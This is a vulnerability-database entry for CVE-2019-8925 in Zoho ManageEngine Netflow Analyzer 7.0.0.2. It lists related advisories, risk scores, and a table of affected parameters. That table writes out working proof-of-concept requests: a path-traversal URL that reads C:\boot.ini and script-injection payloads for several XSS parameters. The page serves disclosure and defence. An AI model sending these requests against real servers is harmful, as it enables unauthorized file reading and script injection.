Lucene search
K
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Support
Settings
Sign in

CVE-2019-8925

🗓️ 17 May 2019 01:15:41Reported by mitreType 
cve
 cve🔗 web.nvd.nist.gov👁 78 Views🌐 WEB

An Absolute Path Traversal vulnerability in Zoho Netflow Analyzer Pro 7.0.0.2 allows remote authenticated users to bypass SecurityManager restrictions

Related
Detection
Refs
Paths
ReporterTitlePublishedViews
Family
0day.today		Zoho ManageEngine Netflow Analyzer Professional 7.0.0.2 - Path Traversal / Cross-Site Scripting
20 Feb 201900:00
–zdt
Circl		CVE-2019-8925
17 May 201902:51
–circl
CNVD		ZOHO ManageEngine Netflow Analyzer Path Traversal Vulnerability
21 Feb 201900:00
–cnvd
Cvelist		CVE-2019-8925
17 May 201901:15
–cvelist
Exploit DB		Zoho ManageEngine Netflow Analyzer Professional 7.0.0.2 - Path Traversal / Cross-Site Scripting
19 Feb 201900:00
–exploitdb
EUVD		EUVD-2019-18313
7 Oct 202500:30
–euvd
exploitpack		Zoho ManageEngine Netflow Analyzer Professional 7.0.0.2 - Path Traversal Cross-Site Scripting
19 Feb 201900:00
–exploitpack
NVD		CVE-2019-8925
17 May 201902:29
–nvd
OSV		CVE-2019-8925
17 May 201902:29
–osv
Packet Storm		Zoho ManageEngine Netflow Analyzer Professional 7.0.0.2 Traversal / XSS
19 Feb 201900:00
–packetstorm
Rows per page
NVD
Node
zohocorpmanageengine_netflow_analyzerMatch7.0.0.2professional
ParameterPositionPathDescriptionCWE
schFilePathquery param/netflow/servlet/CReportPDFServlet?pdf=true&schFilePath=C:\boot.iniAbsolute Path Traversal in Administration zone via schFilePath parameterCWE-22
bussAlertquery param/netflow/jspui/popup1.jsp?selSource=2&customDev=truer93f1%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3EfC8z7&bussAlert=trueXSS in Administration zone via GET parameters bussAlert, customDev, and selSourceCWE-79
customDevquery param/netflow/jspui/popup1.jsp?selSource=2&customDev=truer93f1%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3EfC8z7&bussAlert=trueXSS in Administration zone via GET parameters bussAlert, customDev, and selSourceCWE-79
selSourcequery param/netflow/jspui/popup1.jsp?selSource=2&customDev=truer93f1%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3EfC8z7&bussAlert=trueXSS in Administration zone via GET parameters bussAlert, customDev, and selSourceCWE-79
devSrcquery param/netflow/jspui/scheduleConfig.jsp?rowIncrement=true&match_flag=true&removeRows=&rep_Type=cust&schSource=interface&rep_schedule=daily&performTask=&disp=&stHr=09&edHr=17&filterFlag=false&selectDeviceDone=&devSrc=auxz6%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3Etqq9idmqry5&popup=false&task=add&f=&mset=&getFilter=false&resetter=true&excWeekModify=&mailReport=true&stH=09&edH=17&boxChecked0=&selCh0=&threshRow=1&schName=www&schDesc=qqq&sourcesel=40&repType=cust&logicOp=AND&sel0=SrcAddr&val10=&rowCount=1&repSchedule=Daily&dailysel1=02&dailysel2=00&dailysel3=1&dmsg=&weeklysel1=1&weeklysel2=02&weeklysel3=00&weeklysel4=3&monthsel1=1&monthsel2=02&monthsel3=00&monthlysel4=5&repGenTime=2019-02-18+14%3A55&oncesel4=1&omsg=&mailreport=mailreport&emailId=XSS/parameter handling risk in scheduleConfig.jsp via multiple GET parametersCWE-79
emailIdquery param/netflow/jspui/scheduleConfig.jsp?rowIncrement=true&match_flag=true&removeRows=&rep_Type=cust&schSource=interface&rep_schedule=daily&performTask=&disp=&stHr=09&edHr=17&filterFlag=false&selectDeviceDone=&devSrc=auxz6%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3Etqq9idmqry5&popup=false&task=add&f=&mset=&getFilter=false&resetter=true&excWeekModify=&mailReport=true&stH=09&edH=17&boxChecked0=&selCh0=&threshRow=1&schName=www&schDesc=qqq&sourcesel=40&repType=cust&logicOp=AND&sel0=SrcAddr&val10=&rowCount=1&repSchedule=Daily&dailysel1=02&dailysel2=00&dailysel3=1&dmsg=&weeklysel1=1&weeklysel2=02&weeklysel3=00&weeklysel4=3&monthsel1=1&monthsel2=02&monthsel3=00&monthlysel4=5&repGenTime=2019-02-18+14%3A55&oncesel4=1&omsg=&mailreport=mailreport&emailId=XSS/parameter handling risk in scheduleConfig.jsp via multiple GET parametersCWE-79
excWeekModifyquery param/netflow/jspui/scheduleConfig.jsp?rowIncrement=true&match_flag=true&removeRows=&rep_Type=cust&schSource=interface&rep_schedule=daily&performTask=&disp=&stHr=09&edHr=17&filterFlag=false&selectDeviceDone=&devSrc=auxz6%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3Etqq9idmqry5&popup=false&task=add&f=&mset=&getFilter=false&resetter=true&excWeekModify=&mailReport=true&stH=09&edH=17&boxChecked0=&selCh0=&threshRow=1&schName=www&schDesc=qqq&sourcesel=40&repType=cust&logicOp=AND&sel0=SrcAddr&val10=&rowCount=1&repSchedule=Daily&dailysel1=02&dailysel2=00&dailysel3=1&dmsg=&weeklysel1=1&weeklysel2=02&weeklysel3=00&weeklysel4=3&monthsel1=1&monthsel2=02&monthsel3=00&monthlysel4=5&repGenTime=2019-02-18+14%3A55&oncesel4=1&omsg=&mailreport=mailreport&emailId=XSS/parameter handling risk in scheduleConfig.jsp via multiple GET parametersCWE-79
filterFlagquery param/netflow/jspui/scheduleConfig.jsp?rowIncrement=true&match_flag=true&removeRows=&rep_Type=cust&schSource=interface&rep_schedule=daily&performTask=&disp=&stHr=09&edHr=17&filterFlag=false&selectDeviceDone=&devSrc=auxz6%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3Etqq9idmqry5&popup=false&task=add&f=&mset=&getFilter=false&resetter=true&excWeekModify=&mailReport=true&stH=09&edH=17&boxChecked0=&selCh0=&threshRow=1&schName=www&schDesc=qqq&sourcesel=40&repType=cust&logicOp=AND&sel0=SrcAddr&val10=&rowCount=1&repSchedule=Daily&dailysel1=02&dailysel2=00&dailysel3=1&dmsg=&weeklysel1=1&weeklysel2=02&weeklysel3=00&weeklysel4=3&monthsel1=1&monthsel2=02&monthsel3=00&monthlysel4=5&repGenTime=2019-02-18+14%3A55&oncesel4=1&omsg=&mailreport=mailreport&emailId=XSS/parameter handling risk in scheduleConfig.jsp via multiple GET parametersCWE-79
getFilterquery param/netflow/jspui/scheduleConfig.jsp?rowIncrement=true&match_flag=true&removeRows=&rep_Type=cust&schSource=interface&rep_schedule=daily&performTask=&disp=&stHr=09&edHr=17&filterFlag=false&selectDeviceDone=&devSrc=auxz6%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3Etqq9idmqry5&popup=false&task=add&f=&mset=&getFilter=false&resetter=true&excWeekModify=&mailReport=true&stH=09&edH=17&boxChecked0=&selCh0=&threshRow=1&schName=www&schDesc=qqq&sourcesel=40&repType=cust&logicOp=AND&sel0=SrcAddr&val10=&rowCount=1&repSchedule=Daily&dailysel1=02&dailysel2=00&dailysel3=1&dmsg=&weeklysel1=1&weeklysel2=02&weeklysel3=00&weeklysel4=3&monthsel1=1&monthsel2=02&monthsel3=00&monthlysel4=5&repGenTime=2019-02-18+14%3A55&oncesel4=1&omsg=&mailreport=mailreport&emailId=XSS/parameter handling risk in scheduleConfig.jsp via multiple GET parametersCWE-79
mailReportquery param/netflow/jspui/scheduleConfig.jsp?rowIncrement=true&match_flag=true&removeRows=&rep_Type=cust&schSource=interface&rep_schedule=daily&performTask=&disp=&stHr=09&edHr=17&filterFlag=false&selectDeviceDone=&devSrc=auxz6%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3Etqq9idmqry5&popup=false&task=add&f=&mset=&getFilter=false&resetter=true&excWeekModify=&mailReport=true&stH=09&edH=17&boxChecked0=&selCh0=&threshRow=1&schName=www&schDesc=qqq&sourcesel=40&repType=cust&logicOp=AND&sel0=SrcAddr&val10=&rowCount=1&repSchedule=Daily&dailysel1=02&dailysel2=00&dailysel3=1&dmsg=&weeklysel1=1&weeklysel2=02&weeklysel3=00&weeklysel4=3&monthsel1=1&monthsel2=02&monthsel3=00&monthlysel4=5&repGenTime=2019-02-18+14%3A55&oncesel4=1&omsg=&mailreport=mailreport&emailId=XSS/parameter handling risk in scheduleConfig.jsp via multiple GET parametersCWE-79
Rows per page

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

Book a live demo
21 Nov 2024 04:50Current
5Medium risk
Vulners AI Score5
CVSS 24
CVSS 34.3
EPSS0.09024
CWE-22
zohonetflow analyzerpath traversalcve-2019-8925security vulnerability
78